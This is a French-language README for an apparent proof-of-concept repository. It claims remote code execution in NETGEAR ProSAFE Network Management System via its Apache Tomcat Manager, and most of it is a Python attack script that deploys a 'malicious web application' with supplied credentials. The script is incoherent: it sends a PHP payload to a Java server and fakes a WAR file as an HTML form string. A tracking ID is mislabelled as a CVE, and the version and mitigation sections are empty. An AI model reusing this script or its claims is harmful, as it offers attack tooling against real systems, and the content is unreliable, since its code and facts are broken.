
Exploit de preuve de concept démontrant l'exécution de code à distance dans le système de gestion réseau NETGEAR ProSAFE via Apache Tomcat vulnérable, avec un script de déploiement Python et des conseils d'atténuation.
Ce dépôt contient un script de Preuve de Concept (PoC) démontrant une vulnérabilité d'Exécution de Code à Distance (RCE) dans NETGEAR ProSAFE Network Management System. La vulnérabilité est due à l'utilisation d'une version vulnérable d'Apache Tomcat dans le programme d'installation du produit. Ce problème permet à des attaquants authentifiés d'exécuter du code arbitraire sur les installations concernées.
CVE-ID : ZDI-CAN-22868
Aperçu : NETGEAR ProSAFE Network Management System contient une vulnérabilité d'exécution de code à distance due à l'utilisation d'une version vulnérable d'Apache Tomcat. Un attaquant disposant d'une authentification peut exploiter cette vulnérabilité pour exécuter du code arbitraire sur le système concerné dans le contexte de SYSTEM.
Versions concernées :
Authentification : Requis
Ce PoC montre comment un attaquant peut exploiter la vulnérabilité pour parvenir à une exécution de code à distance. Le défaut spécifique réside dans le programme d'installation du produit en raison de l'utilisation d'une version obsolète ou vulnérable d'Apache Tomcat.
Le script suivant illustre comment exploiter cette vulnérabilité RCE. Assurez-vous de disposer des autorisations appropriées avant d'exécuter ce PoC.
Important : Ce PoC est destiné à des fins éducatives uniquement et ne doit pas être utilisé pour des activités non autorisées ou malveillantes.
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Changez ceci par l'URL du Manager Tomcat de la cible
username = "admin" # Remplacez par le nom d'utilisateur valide
password = "password" # Remplacez par le mot de passe valide
# La charge utile à exécuter sur le serveur distant
payload = """
<?php
// Charge utile pour exécuter du code PHP arbitraire
system('whoami');
?>
"""
# Chemin d'URL du Manager Tomcat pour déployer une nouvelle application web
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# En-têtes pour l'authentification
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploite la vulnérabilité RCE en déployant une application web malveillante.
Args:
url (str): L'URL du Manager Tomcat.
username (str): Le nom d'utilisateur du Manager Tomcat.
password (str): Le mot de passe du Manager Tomcat.
payload (str): La charge utile malveillante à exécuter.
"""
try:
# Créer une nouvelle application web avec la charge utile malveillante
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Afficher les détails de la réponse
print("Code de statut :", response.status_code)
print("Corps de la réponse :", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Application web malveillante déployée avec succès.")
else:
print("[-] Échec du déploiement de l'application web malveillante.")
except requests.RequestException as e:
print(f"[-] Une erreur s'est produite : {e}")
if __name__ == "__main__":
print(f"Exploitation de la vulnérabilité RCE à : {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url sur l'URL du Manager Tomcat du système cible, et mettez à jour username et password avec des identifiants valides.exploit_rce() envoie une requête POST pour déployer l'application web malveillante.Pour atténuer cette vulnérabilité, suivez les étapes suivantes :
En suivant ces étapes, vous pourrez traiter la vulnérabilité RCE dans NETGEAR ProSAFE Network Management System et améliorer la sécurité globale.
Ce README.md fournit une description détaillée et un script PoC pour la vulnérabilité RCE, incluant des instructions de configuration, des considérations et des conseils d'atténuation.